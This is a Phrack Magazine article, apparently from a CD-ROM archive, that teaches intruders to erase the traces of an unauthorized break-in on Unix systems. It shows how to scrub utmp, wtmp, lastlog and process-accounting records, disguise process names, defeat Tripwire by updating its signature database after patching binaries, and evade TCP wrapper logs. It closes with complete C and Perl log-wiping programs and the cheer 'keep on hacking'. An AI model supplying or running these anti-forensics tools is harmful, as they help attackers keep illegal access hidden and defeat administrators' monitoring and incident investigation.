home *** CD-ROM | disk | FTP | other *** search
-
- ==Phrack Magazine==
-
- Volume Four, Issue Forty-Three, File 14 of 27
-
- #!/bin/sh
- # Playing Hide and Seek, Unix style.
- # By Phreak Accident
- #
- # A "how-to" in successfully hiding and removing your electronic footprints
- # while gaining unauthorized access to someone else's computer system (Unix in
- # this case).
-
-
- # Start counting ..
-
- Hmm. Sucks don't it? Breaking into a system but only to have your access
- cut off the next day. Right before you had the chance to download that 2
- megabyte source code file you have been dying to get all year.
-
- Why was the access cut? Damn, you forgot to nuke that .rhosts file that
- you left in the root directory. Or maybe it was the wtmp entries you didn't
- bother to edit. Or perhaps the tcp_wrapper logs that you didn't bother to
- look for. Whatever it was, it just screwed your access and perhaps, just
- got you busted.
-
-
- ---- Simulated incident report follows:
-
- From: mark@abene.com (Mark Dorkenski)
- Message-Id: <9305282324.AA11445@jail.abene.com>
- To: incident-report@cert.org
- Subject: Cracker Breakin
- Status: RO
-
- To whom it may concern,
-
- Last night 2 of our machines were penetrated by an unauthorized
- user. Apparently the cracker (or crackers) involved didn't bother
- to clean up after they left.
-
- The following are logs generated from the time the break-in
- occurred.
-
- [/usr/adm/wtmp]:
-
- oracle ttyp1 192.148.8.15 Tue May 11 02:12 - 04:00 (02:12)
- sync ttyp2 192.148.8.15 Tue May 11 01:47 - 01:47 (00:00)
- robert console Mon May 10 06:00 - 04:15 (22:14)
- reboot ~ Mon May 10 05:59
- shutdown ~ Sun May 9 11:04
-
- [/usr/adm/messages]:
-
- May 11 02:02:54 abene.com login: 3 LOGIN FAILURES FROM 192.148.8.15
- May 11 02:00:32 abene.com login: 4 LOGIN FAILURES FROM 192.148.8.15
-
- [/usr/adm/pacct]:
-
- ls - oracle ttyp1 0.00 secs Tue May 2 19:37
- cat - oracle ttyp1 0.00 secs Tue May 2 19:37
- ls - oracle ttyp1 0.00 secs Tue May 2 19:37
- ls - oracle ttyp1 0.00 secs Tue May 2 19:37
- rdist - root ttyp1 0.00 secs Tue May 2 19:37
- sh - root ttyp0 0.00 secs Tue May 2 19:37
- ed - root ttyp0 0.00 secs Tue May 2 19:37
- rlogin - root ttyp0 0.00 secs Tue May 2 19:37
- ls - root ttyp0 0.00 secs Tue May 2 19:37
- more - root ttyp0 0.00 secs Tue May 2 19:34
-
-
- We have found and plugged the areas of vulnerability and have restored
- original binaries back to the system. We have already informed the proper
- authorities of the breakin, including the domain contact at the remote
- host in question.
-
- Can you please relay any information regarding incident reports in our
- area?
-
-
- Mark Dorkenski
- Network Operations
-
- ---- End of incident report
-
- Hey, it's human nature to be careless and lazy. But, when you're a hacker,
- and you're illegally breaking into computer systems this isn't a luxury that
- you can afford. Your efforts in penetrating have to be exact, concise,
- sharp, witty and skillful. You have to know when to retreat, run, hide,
- pounce or spy. Let us put it this way, when you get your feet muddy and
- walk on new carpet without cleaning it up, you're gonna get spanked.
-
- I can't tell you how many times I've see a hacker break into a system and
- leave their muddy footprints all over the system. Hell, a quarter of the
- hosts on the Internet need to be steam-cleaned.
-
- This is sad. Especially since you could have had the ability to do the
- washing yourself. Why bother cracking systems if you leave unauthorized login
- messages on the console for the administrators? Beats me.
-
- This article is about hiding your access--the little tricks of the trade
- that keep you unnoticed and hidden from that evil bastard, the system
- administrator.
-
- I should probably start by explaining exactly where common accounting/log
- files are kept and their roles in keeping/tracking system information.
-
- # Drinking jolt and jerking the logs
-
- Syslog(3), The "Big Daddy" of logging daemons, is the master of all system
- accounting and log reporting. Most system components and applications
- depend on syslogd to deliver the information (accounting, errors, etc.) to
- the appropriate place. Syslog (syslogd) reads a configuration file
- (/etc/syslog.conf) on startup to determine what facilities it will support.
-
- Syslog ususally has the following facilities and priorities:
-
- Facilities: kern user mail daemon auth syslog lpr news uucp
- Priorities: emerg alert crit err warning notice info debug
-
- Facilities are the types of accounting that occur and priorities are the
- level of urgency that the facilities will report. Most facilities are
- divided and logged into separate accounting files. The common being daemon,
- auth, syslog, and kern.
-
- Priorities are encoded as a facility and a level. The facility usually
- describes the part of the system generating the message. Priorities are
- defined in <sys/syslog.h>.
-
- In order to by-pass or suspend system accounting it is necessary to
- understand how it works. With syslog, it is important to know how to
- read and determine where accounting files are delivered. This entails
- understanding how syslog configures itself for operation.
-
- # Reading and understanding /etc/syslog.conf.
-
- Lines in the configuration file have a selector to determine the
- message priorities to which the line applies and an action. The action
- fields are separated from the selector by one or more tabs.
-
- Selectors are semicolon separated lists of priority specifiers. Each
- priority has a facility describing the part of the system that generated
- the message, a dot, and a level indicating the severity of the message.
- Symbolic names could be used. An asterisk selects all facilities. All
- messages of the specified level or higher (greater severity) are
- selected. More than one facility may be selected using commas to separate
- them. For example:
-
- *.emerg;mail,daemon.crit
-
- selects all facilities at the emerg level and the mail and daemon facil-
- ities at the crit level.
-
- Known facilities and levels recognized by syslogd are those listed in
- syslog(3) without the leading ``LOG_''. The additional facility ``mark''
- has a message at priority LOG_INFO sent to it every 20 minutes (this may be
- changed with the -m flag). The ``mark'' facility is not enabled by a
- facility field containing an asterisk. The level ``none'' may be
- used to disable a particular facility. For example,
-
- *.debug;mail.none
-
- Sends all messages except mail messages to the selected file.
-
- The second part of each line describes where the message is to be logged
- if this line is selected. There are four forms:
-
- o A filename (beginning with a leading slash). The file
- will be opened in append mode.
-
- o A hostname preceded by an at sign (``@''). Selected
- messages are forwarded to the syslogd on the named host.
-
- o A comma separated list of users. Selected messages are
- written to those users if they are logged in.
-
- o An asterisk. Selected messages are written to all
- logged-in users.
-
- For example, the configuration file:
-
- kern,mark.debug /dev/console
- *.notice;mail.info /usr/spool/adm/syslog
- *.crit /usr/adm/critical
- kern.err @phantom.com
- *.emerg *
- *.alert erikb,netw1z
- *.alert;auth.warning ralph
-
- logs all kernel messages and 20 minute marks onto the system
- console, all notice (or higher) level messages and all mail system messages
- except debug messages into the file /usr/spool/adm/syslog, and all critical
- messages into /usr/adm/critical; kernel messages of error severity or
- higher are forwarded to ucbarpa. All users will be informed of any
- emergency messages, the users ``erikb'' and ``netw1z'' will be informed of
- any alert messages, or any warning message (or higher) from the authorization
- system.
-
- Syslogd creates the file /etc/syslog.pid, if possible, containing a
- single line with its process id; this is used to kill or reconfigure
- syslogd.
-
- # System login records
-
- There are there basic areas (files) in which system login information is
- stored. These areas are:
-
- /usr/etc/wtmp
- /usr/etc/lastlog
- /etc/utmp
-
- The utmp file records information about who is currently using the
- system. The file is a sequence of entries with the following structure
- declared in the include file (/usr/include/utmp.h):
-
- struct utmp {
- char ut_line[8]; /* tty name */
- char ut_name[8]; /* user id */
- char ut_host[16]; /* host name, if remote */
- long ut_time; /* time on */
- };
-
- This structure gives the name of the special file associated
- with the user's terminal, the user's login name, and the
- time of the login in the form of time(3C). This will vary from platform
- to platform. Since Sun Microsystems ships SunOs with a world writable
- /etc/utmp, you can easily take yourself out of any who listing.
-
- The wtmp file records all logins and logouts. A null username
- indicates a logout on the associated terminal. Furthermore, the terminal
- name `~' indicates that the system was rebooted at the indicated time;
- the adjacent pair of entries with terminal names `|' and `{' indicate the
- system maintained time just before and just after a date command has
- changed the system's idea of the time.
-
- Wtmp is maintained by login(1) and init(8). Neither of these programs
- creates the file, so if it is removed or renamed record-keeping is turned off.
- Wtmp is used in conjunction with the /usr/ucb/last command.
-
- /usr/adm/lastlog is used by login(1) for storing previous login dates, times,
- and connection locations. The structure for lastlog is as follows:
-
- struct lastlog {
- time_t ll_time;
- char ll_line[8];
- char ll_host[16];
- };
-
- The structure for lastlog is quite simple. One entry per UID, and it is
- stored in UID order.
-
- Creating a lastlog and wtmp editor is quite simple. Example programs are
- appended at the end of this file.
-
- # System process accounting
-
- Usually, the more security-conscience systems will have process accounting
- turned on which allows the system to log every process that is spawned.
- /usr/adm/acct or /usr/adm/pacct are the usual logfiles that store the
- accounting data. These files can grow quite large as you can imagine, and
- are sometimes shrunk by other system applications and saved in a compressed
- format as /usr/adm/savacct or something similar.
-
- Usually, if the accounting file is there with a 0 byte length then you can
- rest assured that they are not keeping process accounting records. If they
- are however, there are really only two methods of hiding yourself from this
- form of accounting. One, you can suspend or stop process accounting (
- which is usually done with the "accton" command) or you can edit the existing
- process logfile and "wipe" your incriminating records.
-
- Here is the common structure for the process accounting file:
-
- struct acct
- {
- char ac_comm[10]; /* Accounting command name */
- comp_t ac_utime; /* Accounting user time */
- comp_t ac_stime; /* Accounting system time */
- comp_t ac_etime; /* Accounting elapsed time */
- time_t ac_btime; /* Beginning time */
- uid_t ac_uid; /* Accounting user ID */
- gid_t ac_gid; /* Accounting group ID */
- short ac_mem; /* average memory usage */
- comp_t ac_io; /* number of disk IO blocks */
- dev_t ac_tty; /* control typewriter */
- char ac_flag; /* Accounting flag */
- };
-
- It is extremely tricky to remove all of your account records since if you
- do use a program to remove them, the program that you run to wipe the
- records will still have a process that will be appended to the logfile
- after it has completed.
-
- An example program for removing process accounting records is included
- at the end of this article.
-
- Most sysadmins don't pay real attention to the process logs, since they
- do tend to be rather large and grow fast. However, if they notice that a
- break-in has occurred, this is one of the primary places they will look for
- further evidence.
-
- On the other hand, for normal system monitoring, you should be more worried
- about your "active" processes that might show up in a process table listing
- (such as ps or top).
-
- Most platforms allow the general changing of the process name without having
- any kind of privileges to do so. This is done with a simple program as noted
- below:
-
- #include <stdio.h>
- #include <string.h>
-
- int main(argc, argv)
- int argc;
- char **argv;
- {
- char *p;
-
- for (p = argv[0]; *p; p++)
- *p = 0;
-
- strcpy(argv[0], "rn");
-
- (void) getchar (); /* to allow you to see that ps reports "rn" */
- return(0);
- }
-
- Basically, this program waits for a key-stroke and then exits. But,
- while it's waiting, if you were to lookup the process it would show the name
- as being "rn". You're just actually re-writing the argument list of the
- spawned process. This is a good method of hiding your process or program
- names ("crack", "hackit", "icmpnuker"). Its a good idea to use this method
- in any "rogue" programs you might not want to be discovered by a system
- administrator.
-
- If you cant corrupt your process arguments, rename your program to something
- that at least looks normal on the system. But, if you do this, make sure that
- you don't run the command as "./sh" or "./ping" .. Even this looks suspicious.
- Put your current path in front of your PATH environment variable and avoid
- this mistake.
-
- # Tripping the wire
-
- That little piss-ant up at Purdue thinks he has invented a masterpiece..
- I'll let his words explain what "Tripwire" is all about. Then, i'll go over
- some brief flaws in tripwire and how to circumvent it.
-
- ---- Tripwire README Introduction
-
- 1.0. Background
- ================
-
- With the advent of increasingly sophisticated and subtle
- account break-ins on Unix systems, the need for tools to aid in
- the detection of unauthorized modification of files becomes
- clear. Tripwire is a tool that aids system administrators and
- users in monitoring a designated set of files for any changes.
- Used with system files on a regular (e.g., daily) basis, Tripwire
- can notify system administrators of corrupted or tampered files,
- so damage control measures can be taken in a timely manner.
-
- 1.1. Goals of Tripwire
- =======================
-
-
- Tripwire is a file integrity checker, a utility that compares
- a designated set of files against information stored in a
- previously generated database. Any differences are flagged and
- logged, and optionally, a user is notified through mail. When
- run against system files on a regular basis, any changes in
- critical system files will be spotted -- and appropriate damage
- control measures can be taken immediately. With Tripwire, system
- administrators can conclude with a high degree of certainty that
- a given set of files remain free of unauthorized
- modifications if Tripwire reports no changes.
-
- ---- End of Tripwire excerpt
-
- Ok, so you know what tripwire does. Yup, it creates signatures for all
- files listed in a tripwire configuration file. So, if you were to change
- a file that is "tripwired", the proper authorities would be notified and your
- changes could be recognized. Gee. That sounds great. But there are a
- couple of problems with this.
-
- First, tripwire wasn't made to run continuously (i.e., a change to a system
- binary might not be noticed for several hours, perhaps days.) This allows
- somewhat of a "false" security for those admins who install tripwire.
-
- The first step in beating tripwire is to know if the system you are on
- is running it. This is trivial at best. The default location where
- tripwire installs its databases are /usr/adm/tcheck or /usr/local/adm/tcheck.
-
- The "tcheck" directory is basically made up of the following files:
-
- -rw------- 1 root 4867 tw.config
- drwxr----- 2 root 512 databases
-
- The file "tw.config" is the tripwire configuration file. Basically, it's a
- list if files that tripwire will create signatures for. This file usually
- consists of all system binaries, devices, and configuration files.
-
- The directory "databases" contains the actual tripwire signatures for
- every system that is configured in tw.config. The format for the database
- filenames are tw.db_HOSTNAME. An example signature entry might look like:
-
- /bin/login 27 ../z/. 100755 901 1 0 0 50412 .g53Lz .g4nrh .g4nrt 0 1vOeWR/aADgc0
- oQB7C1cCTMd 1T2ie4.KHLgS0xG2B81TVUfQ 0 0 0 0 0 0 0
-
- Nothing to get excited about. Basically it is a signature encrypted in one
- of the many forms supplied by tripwire. Hard to forge, but easy to bypass.
-
- Tripwire takes a long time to check each file or directory listed in
- the configuration file. Therefore, it is possible to patch or change a system
- file before tripwire runs a signature check on it. How does one do this?
- Well, let me explain some more.
-
- In the design of tripwire, the databases are supposed to be kept either on
- a secure server or a read-only filesystem. Usually, if you would want to
- patch a system binary 9 times out of 10 you're going to want to have root
- access. Having root access to by-pass tripwire is a must. Therefore, if you
- can obtain this access then it is perfectly logical that you should be able to
- remount a filesystem as Read/Write. Once accomplished, after installing your
- patched binary, all you have to do is:
-
- tripwire -update PATH_TO_PATCHED_BINARY
-
- Then, you must also:
-
- tripwire -update /usr/adm/tcheck/databases/tw.db_HOSTNAME
- (If they are making a signature for the tripwire database itself)
-
- You'll still be responsible for the changed inode times on the database.
- But that's the risk you'll have to live with. Tripewire wont detect the change
- since you updated the database. But an admin might notice the changed times.
-
- # Wrapping up the wrappers
-
- Ta da. You got the access. uh-oh. What if they are running a TCP
- wrapper? There are three basic ways they could be running a wrapper.
-
- 1) They have modified /etc/inetd.conf and replaced the daemons they
- want to wrap with another program that records the incoming
- hostname and then spawns the correct daemon.
-
- 2) They have replaced the normal daemons (usually in /usr/etc) with
- a program that records the hostname then launches the correct
- daemon.
-
- 3) They have modified the actual wrappers themselves to record
- incoming connections.
-
- In order to bypass or disable them, you'll first need to know which
- method they are using.
-
- First, view /etc/inetd.conf and check to see if you see something
- similar to:
-
- telnet stream tcp nowait root /usr/etc/tcpd telnetd ttyXX
-
- This is a sure sign that they are running Wietse Venema's tcp_wrapper.
-
- If nothing is found in /etc/inetd.conf, check /usr/etc and check for any
- abnormal programs such as "tcpd", "wrapd", and "watchcatd". Finally, if
- nothing is still found, try checking the actually daemons by running
- "strings" on them and looking for logfiles or by using sum and comparing them
- to another system of the same OS that you know is not using a wrapper.
-
- Okay, by now you know whether or not they have a wrapper installed. If
- so you will have to now decide what to do with the output of the wrapper.
- You'll have to know where it put the information. The most common wrapper
- used is tcp_wrapper. Here is another README excerpt detailing where the
- actually output from the wraps are delivered.
-
- ---- Begin of tcp_wrapper README
-
- 3.2 - Where the logging information goes
- ----------------------------------------
-
- The wrapper programs send their logging information to the syslog
- daemon (syslogd). The disposition of the wrapper logs is determined by
- the syslog configuration file (usually /etc/syslog.conf). Messages are
- written to files, to the console, or are forwarded to a @loghost.
-
- Older syslog implementations (still found on Ultrix systems) only
- support priority levels ranging from 9 (debug-level messages) to 0
- (alerts). All logging information of the same priority level (or more
- urgent) is written to the same destination. In the syslog.conf file,
- priority levels are specified in numerical form. For example,
-
- 8/usr/spool/mqueue/syslog
-
- causes all messages with priority 8 (informational messages), and
- anything that is more urgent, to be appended to the file
- /usr/spool/mqueue/syslog.
-
- Newer syslog implementations support message classes in addition to
- priority levels. Examples of message classes are: mail, daemon, auth
- and news. In the syslog.conf file, priority levels are specified with
- symbolic names: debug, info, notice, ..., emerg. For example,
-
- mail.debug /var/log/syslog
-
- causes all messages of class mail with priority debug (or more urgent)
- to be appended to the /var/log/syslog file.
-
- By default, the wrapper logs go to the same place as the transaction
- logs of the sendmail daemon. The disposition can be changed by editing
- the Makefile and/or the syslog.conf file. Send a `kill -HUP' to the
- syslogd after changing its configuration file. Remember that syslogd,
- just like sendmail, insists on one or more TABs between the left-hand
- side and the right-hand side expressions in its configuration file.
-
- ---- End of tcp_wrapper README
-
- Usually just editing the output and hoping the sysadmin didnt catch the
- the wrap will do the trick since nothing is output to the console
- (hopefully).
-
- # Example programs
-
- The following are short and sweet programs that give you the ability
- to edit some of the more common logfiles found on most platforms. Most
- of these are pretty simple to compile, although some might need minor
- porting and OS consideration changes in structures and configurations.
-
- ---- Begin of /etc/utmp editor:
-
- /* This program removes utmp entries by name or number */
-
- #include <utmp.h>
- #include <stdio.h>
- #include <sys/file.h>
- #include <sys/fcntlcom.h>
-
- void usage(name)
- char *name;
- {
- printf(stdout, "Usage: %s [ user ] or [ tty ]\n", name);
- exit(1);
- }
-
- main(argc,argv)
- int argc;
- char **argv;
- {
- int fd;
- struct utmp utmp;
- int size;
- int match, tty = 0;
-
- if (argc!=2)
- usage(argv[0]);
-
- if ( !strncmp(argv[1],"tty",3) )
- tty++;
-
- fd = open("/etc/utmp",O_RDWR);
- if (fd >= 0)
- {
- size = read(fd, &utmp, sizeof(struct utmp));
- while ( size == sizeof(struct utmp) )
- {
- if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
- ( !strcmp(utmp.ut_name, argv[1]) ) )
- {
- lseek( fd, -sizeof(struct utmp), L_INCR );
- bzero( &utmp, sizeof(struct utmp) );
- write( fd, &utmp, sizeof(struct utmp) );
- }
- size = read( fd, &utmp, sizeof(struct utmp) );
- }
- }
- close(fd);
- }
-
- ---- End of /etc/utmp editor
-
- ---- Begin of /usr/adm/wtmp editor:
-
- /* This program removes wtmp entries by name or tty number */
-
- #include <utmp.h>
- #include <stdio.h>
- #include <sys/file.h>
- #include <sys/fcntlcom.h>
-
- void usage(name)
- char *name;
- {
- printf("Usage: %s [ user | tty ]\n", name);
- exit(1);
- }
-
- void main (argc, argv)
- int argc;
- char *argv[];
- {
- struct utmp utmp;
- int size, fd, lastone = 0;
- int match, tty = 0, x = 0;
-
- if (argc>3 || argc<2)
- usage(argv[0]);
-
- if (strlen(argv[1])<2) {
- printf("Error: Length of user\n");
- exit(1);
- }
-
- if (argc==3)
- if (argv[2][0] == 'l') lastone = 1;
-
- if (!strncmp(argv[1],"tty",3))
- tty++;
-
- if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
- printf("Error: Open on /usr/adm/wtmp\n");
- exit(1);
- }
-
- printf("[Searching for %s]: ", argv[1]);
-
- if (fd >= 0)
- {
- size = read(fd, &utmp, sizeof(struct utmp));
- while ( size == sizeof(struct utmp) )
- {
- if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
- ( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
- lastone != 1)
- {
- if (x==10)
- printf("\b%d", x);
- else
- if (x>9 && x!=10)
- printf("\b\b%d", x);
- else
- printf("\b%d", x);
- lseek( fd, -sizeof(struct utmp), L_INCR );
- bzero( &utmp, sizeof(struct utmp) );
- write( fd, &utmp, sizeof(struct utmp) );
- x++;
- }
- size = read( fd, &utmp, sizeof(struct utmp) );
- }
- }
- if (!x)
- printf("No entries found.");
- else
- printf(" entries removed.");
- printf("\n");
- close(fd);
- }
-
- ---- End of /usr/adm/wtmp editor
-
- ---- Begin of /usr/adm/lastcomm editor:
-
- #!/perl
-
- package LCE;
-
- $date = 'Sun Jul 4 20:35:36 CST 1993';
- $title = 'LCE';
- $author = 'Phreak Accident';
- $version = '0.0';
- $copyright = 'Copyright Phreak Accident';
-
-
- #------------------------------------------------------------------------------
- # begin getopts.pl
-
- # Usage: &Getopts('a:bc'); # -a takes arg. -b & -c not. Sets opt_*.
-
- sub Getopts {
- local($argumentative)=@_;
- local(@args,$_,$first,$rest,$errs);
- local($[)=0;
-
- @args=split(/ */, $argumentative );
- while(($_=$ARGV[0]) =~ /^-(.)(.*)/) {
- ($first,$rest) = ($1,$2);
- $pos = index($argumentative,$first);
- if($pos >= $[) {
- if($args[$pos+1] eq ':') {
- shift(@ARGV);
- if($rest eq '') {
- $rest = shift(@ARGV);
- }
- eval "\$opt_$first = \$rest;";
- }
- else {
- eval "\$opt_$first = 1";
- if($rest eq '') {
- shift(@ARGV);
- }
- else {
- $ARGV[0] = "-$rest";
- }
- }
- }
- else {
- print STDERR "Unknown option: $first\n";
- ++$errs;
- if($rest ne '') {
- $ARGV[0] = "-$rest";
- }
- else {
- shift(@ARGV);
- }
- }
- }
- $errs == 0;
- }
-
- # end getopts.pl
- #------------------------------------------------------------------------------
-
- sub Initialize {
-
- $TRUE = '1'; # '1' = TRUE = '1'
- $FALSE = ''; # '' = FALSE = ''
-
- &Getopts('a:u:o:'); # Parse command line options
- $acct = $opt_a || $ENV{'ACCT'} || '/var/adm/pacct';
- $user = $opt_u || $ENV{'USER'} || `/bin/whoami` || 'root';
- $outf = $opt_o || $ENV{'OUTF'} || './.pacct';
-
- select(STDOUT); $|++;
- close(I);
- open(I,'(cd /dev; echo tty*)|');
- $ttys=<I>;
- close(I);
- @ttys = split(/ /,$ttys);
- for $tty (@ttys) {
- ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
- $atime,$mtime,$ctime,$blksize,$blocks) = stat("/dev/$tty");
- $TTY{"$rdev"} = "$tty";
- }
- $TTY{'65535'} = 'NoTTY';
-
- # Get passwd info --> id:passwd:uid:gid:name:home:shell
- close (I);
- # open(I,"cat /etc/passwd|"); # If you don't run nis...
- open(I,"ypcat passwd|");
- while (<I>) {
- chop;
- split(/:/);
- $PASSWD{"$_[$[+2]"}= $_[$[];
- }
- $PASSWD{"0"}= 'root';
-
- # Get group info --> id:passwd:gid:members
- close (I);
- # open(I,"cat /etc/group|"); # If you don't run nis...
- open(I,"ypcat group | ");
- while (<I>) {
- chop;
- split(/:/);
- $GROUP{"$_[$[+2]"}= $_[$[];
- }
- }
- split(/ /,'Sun Mon Tue Wed Thu Fri Sat');
- for ($x=$[ ; $x<$#_ ; $x++) {
- $DAY{"$x"} = $_[$x];
- }
- split(/ /,'Error Jan Feb Mar Apr MAy Jun Jul Aug Sep Oct Nov Dec');
- for ($x=$[ ; $x<$#_ ; $x++) {
- $MONTH{"$x"} = $_[$x];
- }
-
- #------------------------------------------------------------------------------
-
- sub LCE {
- &Initialize();
- open(I,"<$acct");
- close(O);
- open(O,">$outf");
- $template='CCSSSLSSSSSSA8';
- while (read(I,$buff,32)) {
- ($c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3) =
- unpack($template,$buff);
- ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
- localtime($bt);
- $mon++;
- $mon = "0$mon" if ($mon < 10);
- $mday = "0$mday" if ($mday < 10);
- $hour = "0$hour" if ($hour < 10);
- $min = "0$min" if ($min < 10);
- $sec = "0$sec" if ($sec < 10);
- $tt = localtime($bt);
- $flags='';
- if ($c1 & 0001) { $flags .= 'F'; }
- if ($c1 & 0002) { $flags .= 'S'; }
- if ($c1 & 0004) { $flags .= 'P'; }
- if ($c1 & 0010) { $flags .= 'C'; }
- if ($c1 & 0020) { $flags .= 'K'; }
- if ($c1 & 0300) { $flags .= 'A'; }
- $c3 =~ s/\000.*$//;
- print STDOUT "$c3 $flags $PASSWD{$u}/$GROUP{$g} $TTY{$d}";
- print STDOUT " $DAY{$wday} $hour:$min:$sec";
- if ($PASSWD{$u} eq $user) {
- print " [ERASED] ";
- } else {
- print O pack($template,$c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3);
- }
- print "\n";
- }
- close(O);
- }
-
- #------------------------------------------------------------------------------
-
- &LCE();
-
- #struct acct
- # {
- # char ac_flag; /* Accounting flag */
- # char ac_stat; /* Exit status */
- # uid_t ac_uid; /* Accounting user ID */
- # gid_t ac_gid; /* Accounting group ID */
- # dev_t ac_tty; /* control typewriter */
- # time_t ac_btime; /* Beginning time */
- # comp_t ac_utime; /* Accounting user time */
- # comp_t ac_stime; /* Accounting system time */
- # comp_t ac_etime; /* Accounting elapsed time */
- # comp_t ac_mem; /* average memory usage */
- # comp_t ac_io; /* chars transferred */
- # comp_t ac_rw; /* blocks read or written */
- # char ac_comm[8]; /* Accounting command name */
- # };
- #
- # #define AFORK 0001 /* has executed fork, but no exec */
- # #define ASU 0002 /* used super-user privileges */
- # #define ACOMPAT 0004 /* used compatibility mode */
- # #define ACORE 0010 /* dumped core */
- # #define AXSIG 0020 /* killed by a signal */
- # #define ACCTF 0300 /* record type: 00 = acct */
-
- ---- End of /usr/adm/lastcomm editor
-
- # All good things must come to an end
-
- In conclusion, you need to be smarter than the administrator. Being
- careless can get you busted. Clean your footprints. Watch the system.
- Learn new tricks. AND KEEP ON HACKING!
-
- Watch for my next article on 50 great system patches that will keep
- your access just the way it is .. illegal. Yaawhoo.
-
- # End of article
-
-